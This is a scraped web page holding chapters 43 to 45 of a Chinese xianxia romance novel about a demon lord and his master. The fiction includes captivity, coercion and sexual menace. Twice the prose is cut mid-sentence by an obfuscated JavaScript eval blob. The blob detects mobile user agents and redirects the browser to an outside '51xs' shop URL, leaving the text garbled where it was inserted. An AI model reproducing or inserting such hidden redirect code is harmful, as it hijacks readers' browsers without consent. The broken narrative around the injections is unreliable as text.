“你就知足吧。” 雪影十足是被派来的说客,语重心长游说:“乖乖从了,咱们玉玉指定给你封个闻后,到时候再大赦天下,皆大欢喜,何乐而不为?” “你以为我不知你在打什么主意?十年前,是你的局。” “呵。” 雪影轻唔声,“和自己交流,就是省事。” 他大大方方承认道:“是我迷惑他,奈何不想你竟把心剜了,真是可惜。” “不过,若是被他知道你剜心的缘由,你猜他会不会疯掉?” “你宁可剜心,也不愿意承认你爱他,你宁可把我分离出来,也不愿让七情六欲滋长。” “可你还是无法阻止你的心,认定了他,你也无法否认你的躯体,无时无刻不想占有他。” “可笑吗?” “闻笺啊闻笺,我怎么越看你越像个笑话呢。” 雪影话刚完,门口那边陡然传来些动静。 轰一声! 煞气劈得竹门四分五裂。 闻笺和雪影同时循声侧眸,门外打进扇光,银发青年站在碎木屑上,逆光的脸庞,神情难辨,颔角挂着颗血珠,红艳欲滴。 那人手拽红绫,拖扯在地,浑身萦绕出可怖的煞气。 他抬掌,松开五指。 挂在另一只手指根的吊坠,倏地坠落,正左右摇晃。 “你到底是谁?这枚吊坠,又是谁的心?” 哦哟…… 雪影挑眉,招起手挥挥,察觉到小徒弟没用灵力,不知他在此,便是朝闻笺无辜摊手。 他一副看热闹不嫌事大的模样,幸灾乐祸做出个口型“自求多福”,预料之中,毫不留情被闻笺一掌打出竹屋。 房中,静默横亘。 久未得回应,陌归尘迈开腿,步步靠近床榻,抬手,一把掐住闻笺下颌。 “为什么剜心?” “说话啊!” 43.以后魔宫长夜漫漫 43. “哑巴了吗?” “说话啊!” 陌归尘杵在原地,听到玉链拖动的声响,然后有点软柔的触感,落在他下颌伤口,抹了抹,动作又轻又缓。 是闻笺在执帕子帮他擦血。 那人问:“疼不疼?” 嗓音清冷,却不乏师长的温和口吻:“都这么大个孩子了,还总不叫人省心。” 陌归尘睫毛无风自颤,连带指尖都跟着抖了抖,回神后,怒气更盛,霍然加深五指力度,捏得骨骼格格作响:“我在问你话呢!” 转瞬间,他掐住闻笺的下颌的手,又猛然往侧边一推,松开禁锢:“别给我扯其他!” 闻笺没反抗,任自己惯性撞出去,额头临到床杆之际,陌归尘蓦然拽住他衣襟,往回扯了扯。 那攥紧他衣领的手在发抖,声声责问,在哽咽中,决堤般,汹涌而来。 “为什么总站在思过崖?” “为什么要写那幅书法?” “为什么要长心又剜心?” “为什么要分离出躯体?” “为什么剖掉那些记忆?” “为什么……” “为什么爱上我,就这么让你不齿?” “我暗戳戳的小心思,在你眼里早就昭然若揭,你还一次又一次纵容我,你可真温柔啊,大慈大悲的玄胤仙尊!” 陌归尘嗓音陡然拔高:“很好玩吗!” 他阖眼,脊背绷得发紧,怒极反笑,嗓子里却藏不住细微的颤抖:“我以为师尊无心情爱,我便作为弟子安分守己十几年,所以我算什么?你眼里的笑话吗?” “看到我痛苦挣扎,你觉得很好玩是么?” 陌归尘冷下脸,举起吊坠:“既如此,那这又算什么?明明耻于爱我,却又把心赠我?” “这算什么?你的施舍吗?” “闻笺,你可怜我啊?” 此座竹屋坐落断崖瀑布,榻边是扇窗,木窗半敞,投来影影碎碎的光。 陌归尘挥臂,毫不留情扔了出去,歇斯底里怒吼:“谁稀罕你不要的破烂玩意儿!” “为师——” “你给我闭嘴!” 话音刚落,陌归尘又是一怔,在落霞峰看到的记忆似又涌于眼前,扎得人鲜血淋漓。 那个吻…… 那个吻根本不是梦。 那是他被封印的记忆。 早在及冠那年,他就实打实地吻过他的师尊。 混杂泪水的吻。 又苦又涩。 趴坐在师尊身上,手捆师尊的肩膀,多么缠绵的姿势。 可那吻,久未能得到回应,他松了嘴,双手颤颤捧起闻笺的脸,翕动双唇,吐出模糊不清的泣音。 “你是死人吗?为什么……为什么不回应我……” “为什么啊……师尊?” 师尊看他,眼神清明,语气温柔,又无情:“你年纪小,阅历也不多,可以不懂事,可以任性放纵,但为师不能。” “倘若——” “没有倘若,从选择你的那刻起,为师就没了选择。” “闭嘴!” 那人的话,字字化作利刃,刀刀捅往他心:“你我是师徒,也只能止步于师徒。” “我让你闭嘴!” “你给我闭嘴!” 师尊那张唇明明已没在说话,可他却看得恼怒,只想堵起来,便又狠心咬下去:“闭嘴啊……你闭嘴……” …… “放手吧。” 凉如水的话音响起,陌归尘感受到闻笺的掌搭在他手背。 是要推开他。 “青栀,松手吧。”那人又重复了一句,一语双关。 陌归尘眸光黯然冷笑,齿关止不住地咬紧:“一个阶下囚,有什么资格劝我?” “我敬你一声师尊,你便以为自己还是那个高高在上的玄胤仙尊么?” “别太自以为是了。” 言罢,他非但没松手,反倒又攥紧几分,提起闻笺衣领,往后一推,直把人逼往床角。 这间对照落霞峰小筑而存在的竹屋复刻得太细致,榻边案几还有几张幼年时抄写过的诗书。 陌归尘粗暴的动作,撞翻了砚台,墨汁洒了一地,还有些许泼上芙蓉幔帐一角。 华丽中的污迹。 渲出股糜烂的美感。 竹纸纷纷扬扬飘落,陌归尘弯腰,左手撑床板,右腿单膝跪在闻笺两腿间。 他就这么跪在闻笺身前,以一种俯视的姿态,将自家师尊困于床角。 和当年那幕,落霞峰的花丛强吻尤为相似。 又略有偏差。 那时的闻青栀醉意恒生。 如今的陌归尘清醒不已。 “说你爱我。” 闻笺低低垂着眼睫,沉默,衣襟处那只手越发用力捏紧他,收缩的领口勒得人愈发窒息。 但他还是没阻止陌归尘。 徒弟大抵是在泄愤,或许也是委屈极了,无计可施,便欲在凌辱师父的扭曲中,博求些屈服的快感,也借此弥补回求而不得的遗憾。 “倘若折磨为师能让你解气,为师甘愿赎罪。” 那人仍是不死心重复先前话语:“说你爱我。” 好半晌后。 闻笺不动声色许久,终是敛敛眸光,抬手,摸了摸陌归尘发顶:“你我师徒一场,别再胡闹了,听话,好吗?” 陌归尘没说话,迎着他扬起的脸,缓慢低下头,那双面向他的眼眸,堆积着炽热的情愫。 是来自少年人的,纯真而青涩,热烈又纯粹的爱恋。 无丝毫杂念,满满当当的,翻滚而出,险些将他灼伤。 两张脸愈发靠近,越来越近…… 闻笺蓦然偏头,那人也停下动作,便又是一场缄默。 死寂般漫长。 两人维持着僵硬的动作。 终于,一滴水珠砸落闻笺脸,慢慢化开。 温温凉凉的。 是泪。 闻笺错愕转回头,只看到陌归尘转过去的背影,那人翻身下了榻,不知为何,踉跄跌了跌。 他惯性伸手去扶。 “别碰我。” 陌归尘猛地甩开他。 闻笺垂下眼睫,拢了拢空空如也的掌,这是徒弟第一次,如此决绝推开他。 青年身穿红袍,那背影,本该明艳张扬,偏偏满头银发甩动时,肩胛骨若隐若现,勾勒着清薄的背。 那么的伶仃,又脆弱。 闻笺捂了捂心口,用力扣扣五指,仍抵不住满身冷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13419478|140997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 汗浸得里衣湿透,勉强镇静下来,便又听到那人说话,声音微哽而涩:“弟子很感激师尊又给我上了一课。” “原来爱有无数种方式。” “霸占、摧毁,还有破坏,为得到对方不择手段,不惜让对方伤心、难堪,甚至可以一拍两散,玉石俱焚。” “从今往后,这便是,我爱你的方式。” 那抹红影走得很慢,仿佛从榻边走到门口,便生生抽空他大半力气。 良久后,那人扶在门框,背影孤寂单薄,站了许久,忽然开始没头没尾自言自语:“只能止步于师徒,笑话。” “来人!” 顷刻间,门口跪下名内侍统领:“尊主。” “传令下去,本尊要——”青年挺拔腰杆,直视前方,一字一字吐出口。 “纳男妾。” 统领哑然偷瞄两人,他们魔族倒没这般墨守成规、恪守人伦,师徒恋虽不常见,但也不至于为人唾弃。 对比起前些日子强抢自家父君小妾的那位狂魔,这师徒道侣着实不值一提。 只是……堂堂玄胤仙尊,仙门首座,还贵为尊主师尊,这……不是变相折辱人么? 统领不忍抿唇。 他们虽恨极道貌岸然的仙门,但他们爱戴自家这位出生仙门的魔尊。 而魔尊可是仙尊一手带大的,于情,他们爱屋及乌,于理,也可从尊主身上窥见一斑,这位仙尊绝对值得一敬。 士可杀不可辱啊。 定是尊主的气话,只是想叫人服个软,奈何仙尊也是傲骨铮铮,宁可吃苦头也不低头。 唉,气言最伤人心,统领怯怯未动,欲言又止,终是怕自家魔尊日后懊悔,便大胆劝谏:“尊主,此举怕是不妥。” 陌归尘冷然拂袖:“怎么!本尊的魔宫要跟他姓闻?” “属下惶恐!” 面对魔尊的大发雷霆,统领心头一跳,冷汗簌簌掉落,骇然磕头,“尊主息怒,属下领命。” “青栀,你到底要胡闹到什么时候?”闻笺放缓了声,“听话,别再耍小性子好吗?” “胡闹?” 陌归尘卸了扶门的力气,“本尊哪里是胡闹?既然看不到你爱我的模样,我倒是想欣赏一下师尊恨我的样子。” “想来也不错。” “闻笺,我敬你一身傲骨。” “你可千万要抵住摧残,毕竟碾碎高岭之花傲骨的戏码,可太有趣了,本尊很是期待。” 刚迈出门槛,又停下:“哦,对了。” 他恢复往日散漫不羁的腔调,慢悠悠提醒:“这间屋子,便是你的牢笼,若师尊踏出房门一步,本尊便灭掉仙门一派。” 陌归尘漫不经心往门框一倚,挑眉,眸底含着桀骜不驯的笑:“不知整个仙门十四州,够不够师尊走出魔宫?不够的话,弟子还可以为师尊添上凡间疆土。” “玄胤仙尊医术天下无双,本尊也很好奇,到底是你救治的速度快,还是我杀人的速度快?” “青栀,别任性了好吗?” 听着闻笺苦口婆心的话,陌归尘置若罔闻,手指点在下巴,若有所思摩挲。 片刻后,他轻嗤一笑,指尖掸了掸皱褶的衣袖,临走前只留下一句—— “以后魔宫长夜漫漫,我们亦慢慢日久生情。” 44.师徒斗(调)法(情) 44. 魔宫禁地,断崖。 瀑布边,正站着两道身影。 雪影指指那枚被陌归尘扔掉的吊坠,唇角轻弯,淡声吩咐:“把它捡回来。” 二竹弋走过去,吊坠所处的水洼枯竭,草木凋零。 邪神之心果然不是谁都承受得起的,连他都险些拿不起来。 回到雪影身旁,那人又传给他道阵法秘诀:“它虽压制吾,吾亦销毁不得,但想要封印,还是有法子的,你且按我说的做。” 那人又交代几句,便欲离开,二竹弋按捺不住喊住人:“主上。” 雪影停下:“说。” 二竹弋:“您真的懂感情么?” 邪神固然能炼化世间万物化为己有,可感情并非心法秘诀,不是靠三言两语的文字来定义的,其口中所谓的“爱恨交织论”更经不起推敲。 雪影长眸轻眯:“你最近话很密,不是谁都有资格在吾这里恃宠而骄的。” 二竹弋跪下:“属下僭越。”目送雪影离开,他方不急不缓转头,望去竹屋方向,紧紧攥了攥手心。 但他猜,邪神不懂感情。 邪神天生无心是真,但无情无欲却失实,修道多年,早就略懂微薄情感,不然如何与九尾族神君交好? 闻笺身为当年修仙界第一个飞升之人,登临神界,却险遭满嘴仁义道德,实际虚伪至极的神族剥削打压回修仙界,最终靠一己之力,杀尽满天神佛。 此后,神界多出位邪神。 而他,就是那场诛神战里,被闻笺视作最为无用的感情,而遭遇割舍,跌落下界,即将陷进永无休止的沉睡。 阖上眼的最后一刻。 他隐约看到个婴孩落地,那孩子睁眸,在九尾族禁地的栀子花海里,与他遥遥相望,隔空对视。 早就一千年前,我们就见过。 二竹弋敛神,提步,又忽地停顿,他疑惑垂眸,把这枚吊坠举到眼前细看,指尖掰开点缝隙,挂绳里,藏有两根发丝,一黑一白,与红绳编织在一起。 两根发丝交缠的尽头。 打的是个同心结。 * 魔宫,魔殿。 偌大的殿,华丽的琉璃水晶灯被撤走,室内乌沉沉的一片黑,借着半扇窗外天光,模糊可见道红影倚在软椅。 那人左手支下巴。 右手搭在屈起的右膝,不时摇晃手里的酒壶。 脚边尽是七零八落的空瓶。 桌上膳菜几乎被扫落地,在满片狼藉中,唯有道清蒸荷叶鸡孤零零摆着,偏偏尝了一小口又扔了回去。 他走近几步:“殿下,借酒消愁可不是什么好习惯。” 砰! 一个酒壶砸到跟前。 支离破碎的。 陌归尘的嗓音泡过酒水,脱口而出的话音,微哑而涩:“你以为你是闻笺?还管起我来了?” “不敢。” 陌归尘又冷不丁道:“滚。” 二竹弋怔了一下,眸底含着点诧异的笑,这人本体哪像猫,分明是只刺猬,逢人便扎。 “尊主!” 殿门匆匆跑进名魔兵,恭敬行礼,“尊主,护法大人,有三个仙门修士指明要见尊主您,还说有东西——” 魔兵话未完,被高座之上的青年打断,“以后,凡仙门闯魔界者,格杀勿论。” 魔兵愣住,这还是他们那位通情达理恩怨分明的尊主么? 不该呀。 二竹弋挑眉,摆摆手打圆场:“暂时按律关进魔牢,没看到殿下醉了吗?没点眼力见儿。” 魔兵闻言,偷瞄陌归尘一眼,但见自己尊主也没反驳,方领命退下。 殿中又剩下二人。 陌归尘拎起个酒壶,起身,懒眼瞟人:“你怎么还不死?” 二竹弋轻笑:“我的存在就这么碍着殿下眼?叫你这般盼着我死?” “那我祝殿下早日如愿。” “你最好说话算话。” * 与此同时,浮华派。 啪一声,华云舟拍案而起,掌风震碎整张桌子。 “荒谬!” “士可杀不可辱!” 他提起剑就往门外冲,又被几位师弟拦住:“冷静!掌门师兄冷静啊!” “那孽障简直要上天啊!” “当妾?” “他怎么敢的啊?” “我要杀了他!” 几位长老好声好气劝人,方勉强将暴怒的人摁回另一张完好的椅子上:“莫冲动,咱们这不是在商量对策么?” 座下,某门派长老摇头:“好了,出事了吧!我就说不该放任那魔头,还这么静观其变,怕是孩子都该落地了。” 霎时,整座屋子鸦雀无声。 华云舟冷眼瞪去,差点没从座上掉下来:“胡说八道什么!” 另一派掌门附和:“怎么不能?前些日子合欢宗不还研究出生子丹?再说那孽障是魔,又修炼邪术,为留住仙尊,什么事干不出来?” “若魔头真怀上如何是好?” “稚子无辜,必然是去母留子。” “要我说,孩子也断然不能留,魔头的孩子,必然天生坏种,前车之鉴还不够多么?” “先别说孩子,快想想如何救人方是顶要紧的大事!” “那魔头不是三日后大婚么?我们届时混进魔界!” “怎么?你要去喝喜酒?” “……” “还是去抢亲?” “……” “哎呀!你怕是魔界细作吧?怎么竟在捣乱?” “我看你才是,这不送羊入虎口么?还混进魔界!我看你是想带我们进去给魔头当下酒菜呢!” “不入虎穴,焉得虎子?” 两人你一言我一句,吵得气急败坏,竟还动起手来。 众人纷纷拉架:“诶诶诶,和气生财,和气生财……” 后面又不知是谁挨了一拳:“哪个杂碎趁机偷袭?” “是你吧?” “靠!说了不是我,还打!” …… 最后,整个场面乱做一锅粥。 * 另一边。 魔界。 陌归尘在书房独自喝闷酒,喝了片刻,又心血来潮摆出盘棋,也不下,就这么干坐着,似在等人。 许久,对面依旧无人到来。 他继续撑头闷声灌酒。 酒水化作酡色,在眼睑下晕出片云霞,慢慢地,目眩神迷的青年手臂一滑,酒盏脱落滚到地面,人也旋即砸落桌面。 额头忽而被只掌轻托。 青年的脑袋砸在身后人厚实的掌心,雪影嗅着满室馥郁的酒香,正欲弯身抱人。 眼角忽而扫过阵风。 陌归尘猛然挺身,猝不及防中,雪影结结实实挨了徒弟一拳,但见底下青年清醒无比,先是一怔,而后含笑道:“魔尊殿下是想打死为师,好与你那个……” 他若有所思轻唔声,“新纳的男妾双宿双飞?” 话刚完,又是一击掌风。 雪影侧身轻避。 反手捏住徒弟手臂,扯起,直将陌归尘拽进自己怀。 他低着头,凑到徒弟发间轻轻嗅着,含糊调笑:“穿那么红,脾气还暴躁,真的像个小辣椒,还未尝呢,就感觉……好辣。” 雪影从陌归尘身后探出头,侧弯着腰,斜斜看徒弟的脸。 指尖动了动,一丝黑雾窜出,化作条灵活的小黑龙,游移过徒弟原本受伤的下颌。 光洁的肌肤又露出细血痕。 这条血丝落在完美无暇的脸,明艳夺目,雪影望得痴迷,真美,那种被破坏的靡丽,无疑疯狂戳在他心巴,叫人极大享受。 他欣赏着这份残缺美。 陌归尘蹙眉。 反手勾住师尊的脖子,抬起膝盖,就往那人小腹一顶。 那人也是眼疾手快,手掌倏然抓住他膝弯,往旁边一推。 陌归尘整个人就这么被雪影压倒在棋盘。 棋子哗啦掉落一地。 陌归尘旋即曲起腿来,抵住师尊倾下来的胸膛。 雪影垂头,望着踩在他心口的靴子,低低一笑,抓住那人小腿,往后压下去。 陌归尘神情阴冷,抬起另一条腿踹出去,没蹬到人。 “欺我眼盲,算什么本事。” 含糊轻笑从四面八方裹挟而来,辨不清方位:“确实是为师考虑不周。” 言罢。 一道气息登时闯进陌归尘识海,师徒二人又在识海内斗法。 识海斗法极为危险,闯进他人识海,神魂通常会受压制,神魂乃修士根本,稍有受伤,都将是不可逆的反噬重创。 但修士皆能内视自身,于识海里,陌归尘倒是视线清明,不受任何影响。 广袤无垠的识海内。 通体雪白的九尾猫,正立在原地,警惕环顾四周。 蓦然。 周遭传出窸窸窣窣的声响,仍是难辨方位。 陌归尘闭目,静待时机,就这这刻,他倏然睁眼,猫尾一甩,砰地击中个庞然大物。 那手影落地。 巨大的黑色手影急速倒退,五指似柱子,刮在地面,刷啦啦划出数尺抓痕。 “为师的好徒儿,不错嘛。” 陌归尘抿唇没说话,他知这位师尊修为深不可测,不然他又怎会十年都看不出端倪。 让让自己而已。 “是男人,就拿出真本事。” 这话刚落,识海内那道含糊的笑声如雨水,潮湿附着耳廓,汩汩淌进耳膜,钻进骨头缝里,酸酸麻麻的。 “那可就别怨为师欺负你。” 师徒二人再次较量。 陌归尘踩在地面,机警望着周遭的一草一木,凌寒的风刮来,落叶簌簌,纷纷扬扬飘来。 他眯眯眸。 霎时,迷惑视野的落叶中飞出铺天盖地的藤蔓,陌归尘惊诧翻身一跳,避开。 那藤蔓又追逐而来。 仍他再灵活,仍抵不住这铺天盖地的藤蔓交叉,编织成网,并且愈发以他为中心收紧。 将他捕获其中。 还坚固无以摧毁,无论灵力还是煞气均攻不破。 陌归尘被牢牢捆住。 黑藤凌空圈住白猫,完全不急色,慢慢悠悠岔开四只猫爪。 藤蔓如初生爬山虎,顺着猫尾尖慢慢攀爬而上,绕过软白的猫肚子,捆了一圈,继续游移、缠绕…… 藤蔓的两头,一左一右,游移到他嘴角,正欲撬开唇齿,探进口腔。 陌归尘蓄力许久,总算找出藤蔓命门,他甩动被忽略的猫尾,打出致命一击,轰然震碎漫天的藤蔓。 七零八落的残肢凭空消失。 这次应该完了吧? 他飘落地面,轻轻吐息。 骤然间,似有无形的掌,在轻柔他腹背,陌归尘脊背微绷,往后轰出攻击,什么也没击中。 倒是头顶又有不可名状的东西,无声含住他耳尖,湿濡、温暖,又柔软。 邪神,能幻化万物,这天赋,果然还是太可怕了。 零碎的齿咬还在,细细磨着,不局限于识海的神魂,似乎延展到整个身体,失明的人,其余感官被放大得极敏感,耳廓腾起股钻心的疼,伴随异样的酥麻,慢慢发散。 陌归尘咬唇,胸膛微微起伏,泄出声低闷。 眼底布上涌动潮气。 镀出层潋滟水光。 连带眼尾也薄红,淡淡的绯色缀在眼睫,衬得眉眼婉约漂亮,可怜惹人爱。 神思从识海跳出,回归身体,陌归尘艰涩吐出两个字,细碎而低喘。 “滚……出去。” “嗯?” 耳畔旋即落下轻佻的笑,那人恶劣极了:“魔尊殿下平常也是这般驭下的?真是毫无威慑力。” “这骂得倒像……” 陌归尘感受到师尊那副躯体缓缓倾下身,唇瓣错在他脸侧,耳语,“在……” 后面的字眼直白露骨。 陌归尘运气周身灵力,还是没能将这人逼出自己识海。 他抬手,掐去那人脖子,毫不留情,大有种掐断的错觉。 徒弟的指甲嵌进肌肤,抓出几道可怖血痕。 窒息感弥漫胸腔。 雪影眸中含着扭曲的亢奋,慢悠悠给陌归尘传音:“又耍赖?” “为师的脖子,可不是你的猫抓板,不过竟让你有力气,倒是为师无能了。” 雪影松懈轻叹那刻,陌归尘也瞬间把这人逼出体内。 得了喘息的功夫。 陌归尘又劈过手掌,与人实打实地正面交锋。 两人从书屋打到悬崖边。 雪影再次游刃有余接住陌归尘的攻击,双指一掰,徒弟掌心那道火焰,便全数轰去石桌上提前摆好的茶盏。 呼一声,燃起团火光。 茶也慢慢煮起。 他好整以暇收手:“为师的好徒儿,一招一式都是为师手把手教的,你拿什么和我打。” 话毕,对方一鞭子抽过来。 雪影猝不及防,生生挨了一下,他咂了声,摸了摸项间火辣辣的血痕,却沉沉喟叹:“你是真的放肆,又抽为师是吧?” 对方显然很不听话,又挥起鞭子, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13434392|140997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 第二鞭子落下时,煞气却离奇化作虚无。 第三鞭举起。 “玉玉啊玉玉……事不过三,再这样,为师要生气了。” 雪影言罢,见徒弟疑惑不解皱眉,却也真的垂下手中的鞭子,便大发善心提醒:“你体内的煞气是为师赋予你的,你说,煞气岂会弑主?” 对面人轻嗤:“煞气不会弑主,但我会弑师。” “呵。” 雪影微笑笑回味,“嗯,有幸见识过。” 似忆起些不快往事,陌归尘怔愣出神,手中的鞭子忽而把他卷起来,他惊诧回神,已被鞭子绑到了雪影怀中。 雪影紧紧箍他腰身,手掌温抚着他发顶:“所以,现在是又要大逆不道弑师么?” “还是想以下犯上?” 那人弯腰,伏到他耳边,慢悠悠吐出灼热气息,蛊惑十足问:“实现你觊觎许久的念头。” 两人贴得那么近,身子上的反应,自然感受得一清楚,不久前还被闻笺冷漠拒绝,现如今却在这里承受着另一位师尊直白又下流的示爱。 冰火两重天似的。 夹在二人之间,陌归尘觉得自己被折磨得要疯,又抵不住心尖儿竟生出丝病态快意。 很快,他又如梦初醒,猛然推开眼前这位师尊。 二人再次对打起来。 月上枝头,霜华凝泻而下,映着半空中,那两道红白交织、不分你我的身影。 再一次,红影落地,剑指对面人肩侧:“你输了。” 雪影却置否:“为师不是告诉过你,下手要狠么?” 陌归尘不解。 顷刻间便听扑哧一声,那人径直朝他的剑端迈进。 利刃刺破这位师尊右肩。 他讷讷定住:“你?” 那人未有迟疑,就这么迎着剑,向他拥抱而来,便任由无双剑生生贯穿肩侧。 空气中,有温凉的液体飞溅而来,陌归尘下意识偏头,那抹暖流还是打到发梢。 闻着淡淡的血腥味,他无比确定,自己是真的把人刺伤。 这幕。 刹那勾勒出当年那画面。 埋藏深底的恐惧与痛苦,旋即蔓延出四肢百骸,让人耐不住瑟缩退了一下。 陌归尘脑袋霎时空白,彻骨的凉意发散那刻。 失神刹那,眼前雪影化作黑雾消失,剑哐当落地,有人从背后拥住他,贴着他战栗的脊背。 身后的胸腔震鸣:“这种紧急关头也敢走神,可是要付出代价的。” 陌归尘恼怒,掌心运起十成十的灵力,往后轰去。 “你又诓我?” “兵不厌诈嘛,为师不是带你抄过兵书么?”那人接住他掌,反握在手心,甚至贴心模拟了一下从前手把手带他练字的动作,以帮他回忆。 陌归尘手肘往后肘击。 那人顺势捏住他腕骨一转,整个人便面对面撞进师尊怀里,那人冷硬抱起他。 看不见的人,只听到夜风簌簌,和瀑布水声。 这是在断崖边上? 这个姿势实在奇怪,双手虚虚晾在师尊颈脖,那人臂弯托着他大腿,自己的小腿还挂在对方腰侧,就这么面对面相拥。 陌归尘蹙眉,手掌抵上对方胸膛,头顶落下点提醒:“别动哦,再动就掉下去了。” “不会。” “这么自信为师不敢松手?” 雪影含糊低笑,恶意使坏,卸去丝力气,由得怀中人往下跌了一下。 发间猛然袭来疼意。 他低头,才瞧清楚,徒弟不知何时牢牢拽住他墨发。 偏偏还不多拽。 就抓住那么一缕,可想而知这抹发丝带来的疼痛。 那人还觉不够,整个身子都在往后仰,荡秋千似的,摇晃了几下。 “玉玉,好狠的心。” “为师可不是你的秋千架。” 怀中人全然没羞愧的觉悟,反倒忤逆十足,挑衅:“这里是魔宫,我说你是马,也得乖乖被我骑。” 雪影被逗笑,淡声低斥:“没大没小。” 他托住徒弟大腿,往上掂了掂,离开崖边,慢悠悠走到树下石桌,放下那人,自顾自落座,桌上的茶水刚烹好,便是腾出只手斟茶:“说吧,引为师出来所谓何事?” 话刚完,那人倒也不客气,朝他发出三连问。 “你是不是很想上我?” “有多想?” “弄死在床那种吗?” “咳。” 雪影呛了一下,须臾间,唇角挑起股兴味,慢条斯理呷茶,“这么直白的么?” 陌归尘伸手,摸索着摁到雪影肩膀,不假思索抬起脚,跨坐到师尊大腿。 眼前是零零碎碎的乌黑,看不见,只能用手去摸那张朝思暮想的脸,一寸一寸描摹对方的五官,复刻回自己心底。 “实不相瞒,我也是。” 他神色平静,指尖摸上领口,面无表情解开衣衫,慢慢褪下,红袍滑落,愈渐露出片艳景。 月光碎碎穿过树影,凝滞在片霜雪般的肌肤,刚斗完法,陌归尘眉宇染着轻倦的慵懒,配上雪里泛绯的锁骨,银发披散,绛红锦袍半褪,滑落雪肩,挂在手臂,手肘撑着后面桌子,半个身子就那么倚靠身后桌沿。 雪影险些撒了茶水。 便听徒弟指向自己的心口处问:“这蔷薇花是你的杰作?” 虽是问句,语气却笃定。 雪影咽下清茶:“为师的杰作,自然是你。” “这蔷薇花有什么用?” “那可太多了。” “譬如?” “譬如——” 陌归尘听到这位师尊饶有兴味重复,而后勾勾他袖口。 他霎时失控,整个人往前倒去,双手不受控制圈上对方脖子,面庞也乖巧侧埋进那人肩窝,鼻尖还擦着那人脖子。 生生上演了一出投怀送抱。 头顶落下道戏谑的笑问:“还要继续么?” 陌归尘唇线紧绷,微有不悦皱眉,心底却腾起股怪诞念头,靠这么近,一张嘴,便能咬破那人颈上血脉。 正胡思乱想间,又感觉到那人竟十分好心帮他拉起敞开的衣衫。 雪影双指捏住布料往上一提,恰好遮住蔷薇花图案,衣袍虚虚挂在肩侧,欲掉未掉。 陌归尘总觉哪里不对劲儿。 这场景,若有第三人在,还真分不清,这到底是提衣服还是脱衣服…… 下一瞬。 他听到簌簌的脚步声闯进夜色,而后是丝醒酒汤的药香味飘来鼻息。 闻笺的话音淡得难辨喜怒。 “你们在做什么?” 45.与他相杀,与他相爱。 45. “还能做什么?如你所见呗。”耳畔响起另一位师尊模棱两可的话,那语气甚至略带被打断的幽怨。 只是转瞬,又佯装颇为大度的模样,盛情邀请:“你也想一起伺候?那可得请示殿下。” 陌归尘眸光微不可察凝滞一下,转向闻笺所在方向,指尖僵涩动了动。 身子的本能比气话更快一步抵达终点。 他厌倦推开雪影,利落站起,竟还莫名的心虚,觉得自己此刻尤像那种飞黄腾达后抛弃糟糠,夜半出来与外室私会,还无巧不成书地被发妻抓包的负心汉…… 太陈世美了! 陌归尘眼神闪躲一下,小小斜“觑”闻笺,声音低低的,像底气不足的嘀咕。 “你来做什么?” 闻笺朝他走来,脚步声平稳,不疾不徐的,呼吸亦是平静得若无其事,说:“听门外婢女闲聊,谈及你喝了大半天酒,来送醒酒汤,温的。” 言罢,闻笺把汤药放到他手边的石桌,没再多问,甚至没看他一眼,转身离开。 药香浓郁飘来鼻息,陌归尘微怔,端起药碗,一饮而尽,啪地扣下碗,也甩袖离开。 走出几步的青年,蓦然折返。 目睹一切的雪影挑眉:“怎么,玉玉舍不得为师?” 话刚落,但见陌归尘摸走空碗,临了还朝他小腿狠狠踹来一脚,忿忿骂道:“就你有嘴!” 然后乘着月色,扬长而去。 雪影:“……” 他一把将人拽了回来:“这就没意思了。” 陌归尘猝不及防撞回堵肉墙,下巴被人轻轻掂起。 “为师的玉玉啊,你居然为了他踹我,真叫人伤心呐。” “呵。” 陌归尘扬起冷硬的下颌线,露出颈脖的弧度,竟叫人一时看得爱怜无比,痴痴定定。 雪影指腹抚上徒弟的脖子,细细摩挲着,真漂亮,一掰就断。 但见那人眸光微转,眼尾微扬,散漫笑意盈满眼底,迷惑性十足,与他玩起文字游戏:“或许师尊有没有听过一句‘三人行,必有我师焉’?” “哦?” “择其善者而从之。” “然后?” “其不善者,而捅之!” 雪影唇角挽起,调侃:“好新颖别致的相爱相杀方式,与我相杀,与他相——” 话音戛然而止,雪影吃痛垂眼,一抹寒光映进眸底。 徒弟不知何时握住把匕首,就那么毫无征兆地,扑哧一下钉进他肩侧。 陌归尘抽出匕首,用染血的利刃,轻轻拍拍雪影脸颊:“当年那一剑是你的局吧?我不知你为何要自己伤害自己,但——” 雪影反手握上匕首,利刃割破掌心,鲜血霎时漫出,蜿蜒顺流到陌归尘的指尖。 似不觉痛,他紧了紧手中力度,淡笑打断陌归尘的话:“那怎么不问一下为师到底想做什么呢?” “你会告诉我答案?” “不会。” “那我何必要多此一举?” “兴许为师一时兴起就告诉你了呢?” “我还不如等你死。” “怕是很难。” 雪影握住匕首利刃,攥紧,从徒弟手里拔走,手掌鲜血再度翻涌,滚滚淌下。 他丢掉匕首,低头,去吻陌归尘指尖沾到的血水,语气缱绻,犹如在温存说甜言蜜语,“为师还是建议玉玉等我哪天一时兴起吧。” 转而又像深闺怨夫,失意控诉似的:“毕竟打小便抱到大的,魔宫里,更是同床共枕十年,你可以对为师无情,但为师对你,还是有义的。” 这话,瞬间勾起陌归尘被蒙骗多年的恼怒,满腔怒火轰然烧起,怨愤冷笑,“那可真是辛苦师尊装了十年。” 